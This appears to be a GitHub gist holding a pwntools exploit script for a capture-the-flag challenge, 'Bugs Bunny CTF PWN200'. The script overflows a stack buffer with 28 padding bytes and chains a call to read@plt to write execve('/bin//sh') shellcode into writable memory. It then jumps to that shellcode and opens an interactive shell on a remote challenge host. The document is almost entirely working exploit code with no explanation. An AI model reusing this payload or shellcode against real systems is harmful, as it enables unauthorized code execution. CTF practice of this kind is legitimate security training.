Created
July 31, 2017 12:55
-
-
Save 0xPwny/2bab4792d8a3bbde521f03379664731f to your computer and use it in GitHub Desktop.
Bugs Bunny CTF - PWN200
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
#r = process("./pwn200") | |
r = remote("54.153.19.139",5254) | |
#raw_input() | |
SC ="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" | |
writeable = 0x0804a000+4 | |
readplt = 0x08048350 | |
payload = "A"*28 | |
payload += p32(readplt) | |
payload += p32(writeable) | |
payload += p32(0) | |
payload += p32(writeable) | |
payload += p32(len(SC)+1) | |
r.recv() | |
r.sendline(payload) | |
r.sendline(SC) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment